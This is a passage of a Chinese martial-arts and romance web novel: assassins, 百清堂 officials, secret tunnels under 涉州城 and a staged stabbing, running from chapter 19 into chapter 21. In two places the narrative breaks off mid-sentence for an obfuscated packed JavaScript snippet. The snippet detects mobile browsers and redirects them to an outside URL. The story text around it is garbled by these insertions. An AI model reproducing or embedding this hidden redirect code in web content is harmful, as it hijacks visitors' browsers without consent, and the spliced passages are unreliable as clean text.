窸窸窣窣的动静从房顶上传来,惊醒了一家客栈大堂内打瞌睡的小厮。他走出客栈抬头看了看,入眼的只有昏沉夜色下漫天的星斗,便摇了摇头,嘀咕着重新进了店里:“这野猫一到春天就多起来了。” 崔书雪踩着屋顶瓦片,顾不上受伤流血的左臂,时不时足尖点墙借力,攀登到隔壁房屋的房檐上,只为了躲避身后人的追杀。 “砰”的一声,一条黑暗且狭窄的巷子里有一人影被击落,将巷子中摆放的杂物砸得四散零落。 “咳咳咳……”崔书雪将自喉咙中涌出的鲜血咳出,看着随后落地的人,笑着说,“百清堂堂主亲自来拿人,可真是让我受宠若惊啊!” 许和意一改往日温和的形象,听到崔书雪的话后轻笑了一声:“拿人?你身负几十条人命,不就地正法如何告慰那些亡魂?” “我只是伤了只胳膊,不是人废了。连那陈暖都不能保证可以将我杀死,就凭你还妄想将我就地正法?”崔书雪像是听到了荒唐的笑话一般,手扶着墙壁站起,瞥着前方手持长刀的许和意,“做梦。” 许和意握紧手中的浮舟刀,不再和他废话,直接疾冲而上。 凛然的刀意挟带着浓烈杀气几乎将空气都凝固,原本干燥的三月天,在此方天地竟令人有了潮湿之感。 崔书雪抬手抹去滴在鼻尖的一滴水,神情霎时变得凝重。 这许和意比前一阵得到的消息还要厉害许多,本来想着能迅速脱身,没想到竟如此难缠。他的境界虽说不及自己,但是这凌海诀的功法却是仅次于神山衡的绝世武功,至今都没人见过它完整的招式。这一击自己虽说有把握接下,但定是两败俱伤的结局…… 大计迫在眉睫,已经没有多余的时间让自己养伤了。 崔书雪感觉到有几人正在朝这个方向赶来,而面前的刀也即将近身,他也不再犹豫。 “嘭!嘭!嘭!” 几声如惊雷一般的动静炸响,将许和意硬生生逼退,不得不用刀势挡住喷溅而来的碎石。他在阵阵灰尘中看到崔书雪钻进了仅供一人通行的暗道,立刻运起内力将手中的浮舟刀扔出,却被随后暗道中炸开的碎石挡住了去路。 他将浮舟刀召回,脚步连踩几下墙壁,纵身一跃至院墙上,视野瞬间开阔,他便跟着一直在塌陷的暗道不断前进。 “啊——” “什么东西!” “地下有人!” “塌了塌了——要塌了——” “有人被压住了!” 一阵阵慌乱的尖叫声和房屋倒塌的声音打破了这片原本属于夜晚的寂静,许和意闻声赶来,用刀挑开压住了几个人的沉重木梁。 “抓我,还是救人,你只能二选一。” 崔书雪的声音同前方的爆炸声一并传来,让正准备起身继续追踪的许和意硬生生停住了脚步。 周庚云和梁声刚赶来就看到周围一片混乱的景象,周庚云手持百清堂的山河令牌,动用内力大声传声:“官府办案,闲人退避!” 远处没有被殃及的百姓本想过来看看到底发生了什么,好奇为什么会突然出现一个暗道,却被这突然的一嗓子吓得继续待在原地。 刚走到许和意身边的梁声看着被碎石掩埋的暗道,又回头看了眼起始处,只觉得骇然——这暗道竟向前延伸了数里之远。 “大人,这……” 许和意看着已经停止爆炸的暗道,冷声道:“查,我倒要看看这崔书雪把涉州城挖穿了多少。” “走水了!” “是仁安里——” “那是温家的方向!” 许和意听到百姓的叫喊声,转身看向那隐隐冒着火光的温家,叮嘱梁声:“找人善后这里。” 许和意说完这句话后就往温家赶,他不清楚陈暖为何放火,但为了防止被她发现自己不在马车里,只能在她离开温家前回去。 这把火也确实如许和意猜测一般是陈暖所放,就在许和意追杀崔书雪的时候,陈暖也恰好踏进了温家这座位于西南角的房间。 陈暖一走进来,就被室内浓重的血腥味熏得下意识用衣袖捂住口鼻,她将门口的蜡烛点燃,借着闪烁的烛光看到了这气味的来源—— 屋内床榻上堆满了尸体,打眼望去竟有十数之多! 她将桌上的蜡烛点燃凑近观察,根据这些人的装束以及领口上用银线绣的“温”字,判断是温家培养的死士。 怪不得他们进温家的时候,除了看到那些普通仆从以外未碰见任何习武之人,看来……都在这里了。 陈暖转身观察这间其实并不大的屋子,一半的空间已经被床上的尸身占据,剩下的一半空间就只放着一方木桌,一张条案和两把木椅,可以说是一览无余。 她凭借记忆摸索着正对着门口的条案,可是尽管她没有放过任何角落,最终却毫无所获。她后面又不信邪地再次找了一圈,依旧没有任何发现。 陈暖轻轻踱步,手指无意识地拂过空无一物的条案,陷入沉思。 支叔不会骗她,那位少年也说自己要找的东西就在这里…… 但这里没有密道也没有暗格,那东西能放在哪呢…… 陈暖在思考的时候时间也在一点点流逝,眼见着就要到半刻钟了她却依旧毫无头绪。就在此时,她听到了距离这里的不远处传来了脚步声,且愈来愈近。 没有时间了…… “走水了!走水了!” “快救火啊!” 站在门外正在发呆的宋管家突然听到院中的呼喊声,立刻抬头,并没有看到有浓烟升腾,只有一片范围不大的隐隐火光从西南角亮起。 看着火势不大,但这位置…… 宋管家脸色突地一变,刚迈出两步,就想到马车里的那位大人还未发话,于是伸出去的脚又悄悄收回到原地。他好几次想要出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938840|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问,但生怕扰了那位大人的清净,只能在原地焦急地来回走动。 “去吧。” 宋管家听到从马车里传来的简短的声音,瞬间像是得到了大赦一般,一路小跑,远远就看到一群人站在已经灭了火的屋前。 他拨开人群,映入眼帘的就是被一分为二的房间,一半已成废墟,另一半还完好无损。 宋管家低声问旁边的温家仆从:“护卫呢?” “百清卫让我们一直站在院中。” 宋管家一听,心直接凉了。他往前几步走到刚把刀放入刀鞘的陈暖身边,拱手作揖,语气满含感激:“多谢大人及时劈开这间房,隔开火源,这才保住了温家大半宅院。” 待百清卫检查完所有火源、确认火势全部熄灭后,陈暖收回了视线:“宋管家,既然火已经灭了,那我们就离开了,今日叨扰了。” 宋管家连忙引路:“我给大人带路。” “不必了,留步。” 宋管家站在有深刻刀痕的地方,面无表情地看着他们离开的背影,吩咐旁边的一个仆从:“把这片废墟打扫干净。” “那这边……” 这仆从所指之处,是没有被火势殃及的另一侧。 宋管家看着只剩下一半的木桌、条案和一把椅子,道:“一并烧了吧,留着也没什么用处。” 既然东西已经被拿走,这几块木头就没了存在的意义。 “结束了?”许和意感觉有人坐进了马车,原本在闭目养神的他缓缓睁开了眼。 “走吧,去找喻九秋,温家没有他要找的人。” 陈暖不问他为什么不同自己一起进入温家,也不问他为什么身上沾染了火药的气味,只是抱着双臂靠在车壁上,闭上了眼睛。 许和意打量着陈暖,放弃了追问她放火的原因,只是吩咐驾车的人加快速度。 同喻九秋约定的时间就要到了,既然温家提前将人转移,那今夜再探温家的计划就没有意义。 “你确定你们的人没有看漏?”陈暖想了想,再次同许和意确认。 许和意瞬间想到刚才那条被崔书雪炸开的暗道,脸色沉了下来:“是没有看漏,但也只顾着盯着地面。” 陈暖睁开眼,疑惑地看着许和意:“什么意思?” 许和意同陈暖讲了发现暗道的事,但并没有提及崔书雪的名字。 “是温家干的吗?”陈暖想来想去,能有如此财力、人力和物力在这涉州城下挖通多条暗道,唯有盘踞此城的温家。 许和意没有犹疑:“十有八九。” 怪不得一直找不到崔书雪的藏身之地,因为他可以随时通过地下暗道随时转移位置,看来“松云客”也是如此被秘密地从地下转移。 “嗯?人呢?” 许和意撩开车帘,并没有在约定的地点看到喻九秋。 陈暖听到他的疑问,也撩开车帘看了看外面,只看到了随风摇晃的零星几盏留夜灯,没有任何人等待的身影。 陈暖同许和意对视了一眼,不约而同地撩开车帘,翻身跃上车顶。 19. 今夜(下) 纪灵趴在桌上突然感觉一阵风吹过,她睁开朦胧的睡眼,看到一个身影翻窗而入,要不是闻到了顺风飘来的熟悉气息,她多少就要喊出声了。 纪灵看了眼桌上的蜡烛,在心里估计了一下时间,问她:“这才戌时半吧,怎么这么快就从温家回来了。” 陈暖弯腰将掉落在地上的织锦外袍拿起,重新给纪灵披上,问道:“喻九秋呢?” 纪灵皱眉:“戌时的时候就走了,你们没有碰上吗?” 纪灵看到陈暖摇了摇头,纳闷道:“对他来说这么重要的事,他不可能不去,那么就只有一个原因……” 二人对视了一眼,想法不谋而合。 有人告诉了他“松云客”的下落! 喻九秋看着对面的人,将她刚盛满的一碗粥挪到了旁边,再次开口:“我已经同你过来了,现在可以将消息告诉我了吧?” 温凌萱见他挪开了那碗粥,就将自己的粥推到了他的面前,眼神认真:“九秋哥哥,这是我专门为你做的,你之前不是最爱吃吗?” 喻九秋看着她,深深叹了口气,语重心长道:“温姑娘,我对你,一直都是兄妹之情,你不必如此。” 喻九秋其实一直都能感觉到温凌萱对自己的喜欢并不掺假,他也曾反复回想,那些与她相处的时日是否曾有过逾矩之举,思来想去,却始终没有找到答案。于是他就在很早的时候见劝说无果,逐渐减少了回家的次数,直至她被温家接回。 温凌萱听到他的话不为所动,只是无声地喝着粥。 碗筷相碰的声音在安静的房间内时不时响起,听得喻九秋心生烦躁。直至街道上传来二更的锣鼓声,他终于忍不住站起身,看着喝完粥依旧不发一言的温凌萱,尽力维持自己的冷静:“既然温姑娘无法告知,那在下就告辞了。” “你就这么信你那几位朋友们吗?” 正要推门出去的喻九秋突然听到身后传来这么一句发问,他停住了脚步,回头看着倚靠在窗边的温凌萱。 温凌萱将窗户打开得更大些,风瞬间灌入,吹起了她的发丝,遮挡住她晦暗不清的目光。 “今夜他们探查温家,他们清楚自己的目的,我也知道他们各自想找什么,那么九秋哥哥你呢?” 温凌萱看着沉默地站在门口的喻九秋,缓步走上前,语调虽轻柔,但她说的每一个字都如刀刻一般,在喻九秋的心中留下了深刻的痕迹:“既然那位叫陈暖的女子能借用百清卫的身份,为什么你不可以?你知道他们为什么一定要先一步避开你,提前探查温家吗?九秋哥哥……” 温凌萱缓缓靠近喻九秋,扶着他身后的门框稳住身体,踮起脚尖,娇小的身躯也只堪堪及身边人的耳侧。她感受着喻九秋略显急促的呼吸,呵气如兰:“你知道御景园的掌柜纪灵,曾与无定斋的斋主亲密无间吗?” 喻九秋一晃神间突然感觉有只手伸进了自己的腰侧,他下意识去抓,却抓了个空。 “住手!” 然而却已经晚了—— 喻九秋闻到了空气中瞬间炸开的血腥味,随后便感觉到身前被温热的血喷溅,那温度竟意外灼人。他立刻弯腰接住了倒下的温凌萱,迅速封住了她的几处穴道,捂着她正在不断渗血的胸口,大声喊道:“来人!” “咳咳咳——”温凌萱控制不住地一阵剧烈咳血后,松开了抓着匕首的手,将左手因为一直握着、已经发皱了的一张纸条塞到喻九秋手里,“伯父……在……在这里。” “好了我知道了——你别再说话了。”喻九秋听到楼下有慌乱的脚步声传来,将温凌萱小心翼翼地打横抱起,快步跑下楼。 楼下顿时一片混乱,马的嘶鸣声划破寂静长夜,紧接着急促的车轮声驶离了街道。 再度恢复安静的房间内充斥着清润的米香和腥甜的血腥味,竟连窗外吹来的风都无法吹散。 “吱呀”一声,隔壁的房门被打开。 崔书雪走到那滩刺眼的血迹跟前,单膝跪地,将掌心里还留有指甲血印的右手,按在还散发着温热的鲜血之上。一想到刚才亲眼看见温凌萱毫不犹豫地将匕首插进自己胸膛的画面,他不禁攥紧了手,感受着指缝逐渐被黏腻感裹挟,他的眼中恨意滔天。 温凌萱,你竟能做到如此地步…… 为什么是他? 为什么就不能是我? 夜色逐渐浓重,连星月都黯淡了踪迹,如墨般的浓黑开始笼罩这片大地。 “咚—咚—咚!梆—梆—梆!” 三更鼓已敲响,子时已经来临,涉州城内除了巡夜打更的更夫,其余人皆已沉入梦乡,街巷间只有风声穿过和偶尔穿街而过的野猫。 强忍着瞌睡的更夫行走在空无一人的街道上敲着梆子,一阵风突然从路口刮来,刮得他不得不停住脚步,扶着墙稳住身形。 然而等风停后,地上只剩下一锣一梆。也就三息,有一人从暗处走来,穿着一身与刚才打更夫一模一样的衣裳,他躬身拾起了地上的铜锣和梆子,继续沿着街道向前走。 “咚—咚—咚——梆—梆—梆!” 城门口巡防的几个守备军拦下了打算进城的数人,问领头的人:“何人入城?” 涉洲城内虽说不设宵禁,但是一旦入夜,各方面的盘查都比白日里要更严格一些,尤其面对半夜进出城的人,更是要问清楚缘由,并挨个进行登记。 “这位大人,我们是喻府家眷,前来参加九日后温、喻两家的婚宴。”领头的人立刻小跑向前,拿出已经加盖过官印的路引。 那位守备军将路引拿到灯笼下,透过昏暗的光看到官印没有问题,又数了下进城的人数是否能对上后,就让他们到城下登记。 “开门!” 沉重的城门“轰隆”一声被打开,随后这一队人一边说着感激的话,一边快步进城。 守备军见他们入了城,又再次将城门关上,将路障重新放到路中央。 夜色浓稠,城门口处的亮光也只能堪堪照亮城下的一小片区域,巡防的守备军人影交错间,桌上登记入城信息的册子有一瞬间的消失,待人影散去桌前重新恢复亮光时,那册子又再度出现。 这一行人进城后,他们轻车熟路地拐进了左侧的大街,恰好碰到了迎面而来正在打更的更夫。于是他们就悄然地跟在更夫的后面,跟随着他走了多条街道,每走过一条街道队伍中就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946070|192872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少一两个人,直至身后一个人都没有,更夫就继续巡夜。 临街的一家客栈内,大堂被一盏留夜灯照得影影绰绰,小厮早已趴在桌上进入昏睡,楼上传来的轻微动静也并不能足以惊醒他。 察觉到屋内有陌生人闯入,床上原本熟睡的人立刻翻身跃起,抓住了枕边的刀,然而还是晚了一步。 不速之客将已经没了气息的人的衣裳扒下,然后把他推进了床下,轻叩了下地板,地下突然豁然洞开,随后那气息已经断绝的人,瞬间就被探出来的手拖了进去,而后地板恢复了原样。 趴在床边的不速之客见床底的人消失,就换上了那人的衣服,将刀重新放到枕边,躺在床上闭上了眼睛。 城内多家客栈、驿馆乃至酒楼的客房中,无声的杀戮借着夜色已经悄然上演。地下的暗口开了又合,这期间一具具尸身被拽入,仅留下床底地板上暗色的、被拖拽的血痕。而那些取而代之鸠占鹊巢的人,依旧心安理得地躺在原主的榻上,酣然入梦。 “大人!查到了!” 梁声推门而入,将刚送上来的情报呈给自打戌时半回来就埋头处理事务的许和意手上。 许和意打开扫了一眼上面的信息,将密信放到桌沿:“送去御景园。” 自打和陈暖在约定的地点没有发现喻九秋的踪迹时,他们二人便没了假装同乘的必要,直接各自离开。 许和意回到百清堂的第一件事就是问紧跟着陈暖的那几个百清卫,可是得到的回答都是“没有异常”。但若盘问起那西南角的火是因何点燃,他们却都不约而同地避而不谈,好似下意识地略过这个话题。细观他们的神色,均言辞清晰,并无作伪之态。 这是记忆被硬生生地抹去一段,但却能令人天衣无缝地串联起各个事件,宛若没有半分缺漏。若非许和意心思敏锐,换作旁人,怕是要被瞒天过海了。 “大人,有急报。”周庚云匆忙踏进没有关门的屋子,将手上的信函交予许和意,“城内一家客栈有小厮发现屋里死了三个人,均是打斗伤亡。本以为是恩怨仇杀,但那小厮和客栈的老板在搬挪尸体的时候,地板却不知为何开裂,一条已经被毁的暗道出现在客栈房间内,于是他们就去报了官。” “走,去看看。”许和意披上外袍,一边看着手上刚才周庚云呈上来的信函,一边问,“暗道的事查的如何了?” 梁声紧跟上他的脚步,回道:“昨夜已经向城内各家酒肆、驿站下达了公文,目前已经收集到不少人报官说发现了暗道,待今天天亮了就发布全城搜捕的示谕。” “很好,阵势越大越好。” 老鼠打洞都尚且需要到地面觅食,更何况躲在暗道里的人了。 “这都寅时末了,外面什么动静这么大?” 纪灵打开窗户,趴在窗边往外看,但只能遥遥望见相隔不远处的两条街的地方,有火把的光在闪烁,看着阵仗还不小。 陈暖看着手中的一截衡木,漫不经心道:“估计抓老鼠呢。” 纪灵看了眼天色,晨光将起,她打了个大大的哈欠,伸了个懒腰道:“这夜可真长,我是受不住得去补觉了,你就自己慢慢研究这根木头吧。” 20. 关系 陈暖看着手中的衡木,想到昨夜在温家那千钧一发之际,自己用刀索性直接劈开了屋内仅有的那几个木质陈设,在条案的中空处果然发现了这截衡木。 她其实对“神山衡”的了解也并不多,大多是听旁人提及,至于亲眼所见,更是从未有过。 她再次对着光看了一番,但不管她怎么看,这都是一根普通的衡木。这个动作自打她将此物拿出来就已经做了无数次,连纪灵都不想再看她重复这个动作了。 这也不像是藏了绝世秘籍的样子……更何况温凌萱怎会如此不设防? “笃笃。” 突然响起的敲门声打断了陈暖的思绪,她将那衡木收进袖中,起身去开门。 “是你?”陈暖惊讶地看着站在门外的梁声,面前人灰头土脸的,很明显是遭遇到了意外,“你们不是在附近抓老鼠吗,怎么弄成这个样子。” 梁声无奈地拍了拍身上的灰尘,将密信递给陈暖:“我家公子着我给姑娘送来这封信。” 陈暖打开看了一眼,上面是昨夜喻九秋未能及时赴约的原因以及此时的下落,她看完后将信握在手中,问他:“许和意呢?” 梁声指了指窗外:“公子还在街上处理事情。” “带我过去。” 陈暖将屋中的烛火吹灭,临走前看了一眼里屋已经睡熟的纪灵,将手中的信放在了她的床头。 正在指挥百清卫搬开碎石的许和意余光瞥到有两个人骑马而来,等他们越来越近时,他看到陈暖脸上一闪而过的惊讶,同时也没错过她眼中的幸灾乐祸。 陈暖走到许和意身边,伸出手指指着他——从头到脚:“许大人,你这是……你们百清堂还没缺人到需要让你搬石头、钻洞口的地步吧?” 许和意也懒得整理身上刚才因为突然的爆炸,身上被溅到的尘土的狼狈,只是看着陈暖,问:“这么晚了,陈姑娘还没歇息?” 陈暖:“……” 她指了指有点泛着鱼肚白的天边和刚才派去送信,现在正忙碌挖土的梁声,真的很想问面前这个人是被爆炸声震傻了吗? 陈暖踩着脚下的碎石,看着已经几乎成为一片废墟的客栈,那被百清卫清理出来的暗道也在逐渐显现。 她昨夜在马车上只听许和意简单说了下暗道的事情,如今亲眼看到,竟比自己想象中的规模还要大。 陈暖又往前多走了一段,直至被碎石和断裂的木梁彻底挡住了去路才停下脚步,这里四下无人,很明显是爆炸最终结束的地方。 “许大人——” 许和意听到不远处有人在喊自己,第一时间听出来是陈暖的声音,以为她发现了什么线索,立刻脚步轻点,连踏几个凸起来的石块,往声音源头飞去。 “发现什么……” 许和意话还没说完,脚步还未落地,便只觉眼前突然有人影掠过。随后自己的胸膛被人用力一踹,整个人不设防地猝然向后倒在了地上,紧接着腰间有了重压,上半身也感受到了重量。那人趴在自己身前,泛着冷光的匕首悬在自己额前。 正在埋头干活的梁声听到刚才自家公子过去的地方,传来了一串动静和木梁倒塌的声音,高声问道:“大人,可需要属下过去帮忙?” “……不用。” 陈暖侧头看了一眼因为刚才的动静,一根突然倒塌的木梁朝她的后背砸来,却被身下许和意从身侧伸出来的一只手接住。她面色不变,只是压低了身子,悬在许和意额前的匕首又前进了一分。 许和意敏锐地察觉到刚才有一瞬间,身上这个女子是真的想杀了自己。 “许和意,我最后问你一次,崔书雪在哪?” 规模如此大的暗道,也确实只有温家能有如此本事。但有如此精力办成这事的绝不可能是温凌萱,那就只能交给别人,一个不会背叛自己的人…… 而且昨夜她进马车的时候,闻到了许和意身上还残留的火药味…… 许和意猜到陈暖已经知道自己昨夜和崔书雪打了照面,便也不再瞒着她:“如你所见,让他跑了。” 陈暖盯着他,冷声问:“为何瞒我?” 许和意蹙眉,看着陈暖那已经染上愤怒的眼眸,忽然想起此刻这个情形和那日在揽水城的城南别院中的情形一般无二。他沉声道:“陈暖,你内心知道原因,何必再问。” 陈暖怔了一下,也想到了那日在城南别院中二人的对话。 是了,他们二人本就身份对立,关于崔书雪的消息,本来就没有相互告知的义务。 逼仄的空间内原本紧张的气氛逐渐缓和,两人由于挨得太近,呼吸彼此交错。 许和意看陈暖还半趴在自己身上,腰间是她已经卸了钳制力道的腿,尽管隔着层层叠叠的衣物,但传过来的热度令他感到头晕目眩。脖间突然传来一阵痒意,连带着他头皮一阵发麻,他略微侧头,发现是陈暖柔软的发梢落在自己的脖颈上。 他见身上人还在发呆,无奈问:“陈暖,我可以起来了吗?” 陈暖回神,低头看到许和意正在望着自己,一时没听清他刚才说了什么:“什么?” 许和意长长叹了口气,用空着的另外一只手从陈暖的手中取下了还悬在自己额前的匕首,然后腰腹略微用力,上半身微微坐起,这自然就使两人的距离更近了一些,他哑声重复:“陈暖,我可以起来了吗?” 陈暖耳边是许和意咫尺可闻的呼吸声,偶尔的气息吹拂,让她不禁下意识屏住呼吸。随后她突然意识到他们二人此时的距离有点过于近了,连忙“哦”了几声,然后立刻从他身上爬起来,还顺便帮他将他用右手一直扶着的木梁放倒在旁边的地上。 许和意动了动刚才被用力撞击到地上的肩膀,不经意间看到陈暖通红的耳朵,随后又看到了她面带红晕的脸庞。 许和意见到她这个反应,也不自然地低咳了一声,留了句“我过去了”,就先一步离开了这里。 陈暖站在已经天光亮起的废墟之上,一想到自己刚才慌乱的举动,突然有点恍惚。 难道是自己最近接单接得少了,一时之间竟然不习惯贴身杀人了? 这可不行,吃饭的手艺可不能丢了。 这么想着,陈暖就踏着晨光往信鸽驿馆的方向走去。 原本冷清的街道逐渐热闹起来,卖包子、卖粥的小摊也重新开始支摊,忙碌的早晨从氤氲的水汽和城内冉冉升腾起的袅袅炊烟中开始。 一缕阳光从窗户缝隙中钻进来,恰好落在趴在窗边睡觉的喻九秋的眼睑上,晃得他睁开了眼。 他看了眼因为受伤而陷入昏睡的温凌萱,起身将窗户合拢,又把床帘放下后就轻手轻脚离开了房间。 门外早就已经有人在等候,见他出来,立刻上前询问,声音急切:“她怎么样了?” 喻九秋看着很明显刚点完卯,连官服都没换下就匆匆赶来的大哥,摇头道:“已经没事了。” 喻风垚一直悬着的心终于放了下来:“那就好、那就好……” 温家与喻家是世交,虽说他和温凌萱平日几乎不怎么见面,但偶尔有什么新鲜玩意儿他也会差人送到温府上。对于这个从小就借住在喻家的姑娘,他是打心底里已经把他当成了自己的妹妹。 “你差人送来的那处住址,我已经找侍卫查过了,不过那处宅院现在已经无人居住,但说有一些线索还需要我们亲自去看看。”喻风垚说完看了眼紧闭着的房门,问喻九秋,“现在去?” 喻九秋点了点头:“现在去。” 交谈声和脚步声逐渐远离,躺在榻上的人睁开了双眼,眼中清明。她将手覆在胸前的伤口上,回想起昨夜的情景,笑出了声。 “自己捅自己一刀,这么开心?” 温凌萱不顾崔书雪的冷嘲热讽,只是问他:“你说,经过昨夜,他是信我,还是信他那几个刚结识的朋友?” 原本站在窗边的崔书雪一个踏影就到了温凌萱的床榻边,他低头看着面容苍白的温凌萱,咬牙切齿:“就为了赌一个不确定的结果,你就这么不爱惜自己的身体?” “不确定的结果?”温凌萱看着他,语气中虽然还带着重伤的虚弱感,但却字字清晰,透着不容置疑的坚定,“我只要结果。” 崔书雪突然伸出手掐住她的脖子,看着她原本面无血色因自己逐渐加大的力道而慢慢充血变粉的脸庞,看着她没有半分波澜,直直看着自己的眼神,半弯下腰,将自己的额头抵在她耳侧的枕头上。 他声音平静,却隐隐透着偏执的疯狂:“有 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崔书雪一边替她疗伤,一边汇报最近城中发生的事情,他这般冷静的模样,好似先前情绪失控的根本不是同一个人。 “你疗伤期间是回温府还是……”崔书雪最终还是没有说完这句话。 温凌萱经过刚才那一遭,也没了力气说话,只是将手抬起。 崔书雪心中暗暗松了口气,接住了她伸出来的手,将她从床上小心翼翼地抱起来,转身出了这间屋子。 喻九秋和喻风垚站在位于城东南的这处宅院里,偌大的院子,只有三间外形简朴的屋子。院中早已荒芜,但未被人修剪过将近及人高的杂草上有人走过的压痕,虽然痕迹不甚清晰,但可以推断起码几天前这里还有人踩过。 他们二人检查了其中两间屋子,屋内没有任何陈设,也不曾有人居住的痕迹,于是就站在了第三间房的门外。 喻风垚半挡在喻九秋身前,握紧了腰间的佩刀,和喻九秋对视了一眼后就推开了紧闭的木门。 门“吱呀”一声被推开,穿堂风迎面吹来,扬起的灰尘和血腥味令他们二人不禁同时掩住了口鼻。 这间屋子同先前的两间屋子一样,没有陈设,但最大的不同就是这间屋子正中间垂吊着两根已经断开的铁链。这铁链足有碗口般粗细,通体黝黑,其上还有早已干涸的血迹。铁链被人一刀斩断,看断面干脆利落的程度,此人定是武功高强之人。 “咦?这片地下好像是空的。”喻风垚在房中走了一圈,最后再次返回到窗户下方。他连踩了几下,确定下方确实是中空的,直接后退几步用刀劈开了地板。 待灰尘散去,出现在他们面前的是一个暗道的洞口。 喻风垚从怀中拿出一个火折子:“我下去看看。” “注意安全。” 喻九秋蹲在洞口处,时刻警惕着里面是否发出异动。然而也就半盏茶的功夫,喻风垚就从里面出来了。 “如何?” 喻风垚拍了拍身上的尘土,摇头道:“走不出去,里面被堵死了。” “里面可有异常?” “没有,没有血迹、也没有任何难闻的气味。” 喻九秋心生疑惑:“那就怪了,无缘无故,这里怎么会突然出现暗道?” 喻风垚突然想起今早点卯时听到的示谕,又看了眼脚下的暗道:“估计不是偶然……” 喻九秋不解地看着他,后者便将今早听到的示谕告知了他。在听到“百清堂”三个字时,喻风垚就观察到自己的弟弟神情有点不自然,问他:“怎么了?” 喻九秋摇头:“没事,你去通知他们吧,我在这里等你。” 喻九秋等喻风垚走后,就背靠着屋外坐在门槛上,看着屋内的铁链,想到了昨夜温凌萱发出的一声声质问。 他自从获得可能有关父亲下落的消息后,就一直处在焦躁不安的状态,很多事也失去了冷静的判断。 如今仔细想来,他和陈暖、许和意还有纪灵,其实并没有什么关系,有的人甚至只见过一面,为什么自己愿意相信他们? 连亲生父亲都能多年不回家,对自己和家人不闻不问,那么这些新交的“朋友”,又有什么理由能无条件帮自己? 21. 无极矿 许和意一踏进院门,就看到喻九秋的背影,他脚步顿了一下,跟在喻风垚的身后进了院中。 喻九秋听到身后传来脚步声,站起身拍了拍衣摆上的尘土,侧过身让他们进来。 许和意让梁声跟着喻风垚进暗道,然后开始打量这间屋子。 许和意问自从他们进来,就一直保持沉默的喻九秋:“你们从哪知道这地方的?” “温凌萱。” 许和意并不意外他会直接告诉自己这个名字,毕竟喻九秋心里肯定也明白他们起码不是敌人。 喻九秋见他不再说话,问出了埋藏在心中许久的疑惑:“温家到底干了什么能令你们如此关注?是因为那个''神山衡''吗?” “这与令尊失踪是两码事,所以……”许和意看着喻九秋,摇头道,“不便告知。” “那你们……”喻九秋停顿了一下,看到许和意望着自己正等待自己的下文,顿时觉得也没有什么必要问了,“算了。” 他自有眼睛去看,有耳朵去听。 许和意搭了把手将梁声和喻风垚拉了上来,问他:“有什么发现?” 梁声摇头,但语带不解:“这暗道与我们之前发现的城中暗道不同,看起来像是许久没有用过。但刚才属下用刀划了一下墙壁,发现暗道里最外面那层土是新土。” 喻风垚听到他说的话感到新奇,凑上前问他:“新土?何以见得?” 梁声把用衣角包着的东西打开,里面是从暗道墙壁上刮下来的一捧土,他指着土中隐约掺杂的灰黑色颗粒,说道:“涉州城附近挖出无极矿也就是两年前的事,而这种颜色的土,就是形成无极矿周围的母土。” 许和意伸出手指轻捻了一下,将其洒落在梁声递过来的刀上。随后梁声将刀身翻转一圈,只见泛着冷光的玄色刀身上吸附着细小的黑色颗粒,阳光照射的时候偶尔还有点微弱的光芒在闪动。 喻风垚见到此情此景不禁感叹:“竟然还真的是无极矿!” 涉州城本就繁华,在两年前发现无极矿脉后更是成为了众多工匠的心驰神往之地,毕竟用无极矿锻造出来的刀剑比普通刀剑更坚硬。如此罕见矿脉,自然被朝廷严加把控,因此喻风垚也只听闻,从未见过。 喻九秋看着这捧土,疑惑道:“既然这暗道废弃许久,那为何还要重新涂抹一层新土?” 许和意也不再做推测,直接吩咐梁声:“去找人把这里挖开,看看堵住的地方通向何处。派人去望涉司或者府衙,查这前后两条街人家的户籍,看看近两三年有没有人家做过矿夫或矿徒的。沿街挨家挨户问这处宅院近期有没有可疑人出入,或者有没有听到什么异响。” 许和意一口气说完后,再次向梁声强调:“是挨家挨户。” 许和意这一连串的任务吩咐完,就走出了这间房子,抬头将这处宅院的四周都望了望。他把屋内的梁声唤来,挨个指了三处明显高于此地,且视线没有遮挡的阁楼:“去查,看看都是哪些地方。至于问什么,不用我教你吧?” 梁声连忙摇头,若是连这点能力都没有,他早就被踢出百清堂了。 许和意点了点头,对旁边已经看呆的两人说:“二位后面若还有什么消息,可尽管来百清堂,或者……”他看着喻九秋,将语速放缓,“去御景园。” 喻风垚等他们走后,立刻问自己的弟弟:“你们认识?” “也就刚认识一天。”喻九秋在心里补充:准确来说都还不到一天。 “御景园呢?那不是卖金银首饰的铺子吗?” 喻九秋骑上马,对喻风垚说了句“你好吵”,然后就先他一步驾马离去。 喻风垚不解,也就一天半没见这个弟弟,怎么突然有了这么多秘密。 那边许和意刚离开这座宅院不久,在回百清堂的路上,碰到了神情焦急的周庚云。 周庚云一看到他们,像见了救命恩人一般驾马到许和意身侧:“大人,望涉司那边抓了陈姑娘!” 许和意听到后猛地一拉缰绳,问他:“为何?” “说陈姑娘在城外和城内动武了,事情好像有点复杂,来报的下属也没说清楚。” 许和意收紧缰绳,将马转了个方向:“走,去望涉司。” 而身在望涉司的陈暖,则正安静地躺在望涉司大堂内的地板上。她望着纵横交错的房梁,听着耳边那一对没理硬讲的父子,内心毫无波澜,甚至还想躺这睡一觉—— 毕竟她已经一晚上没睡了。 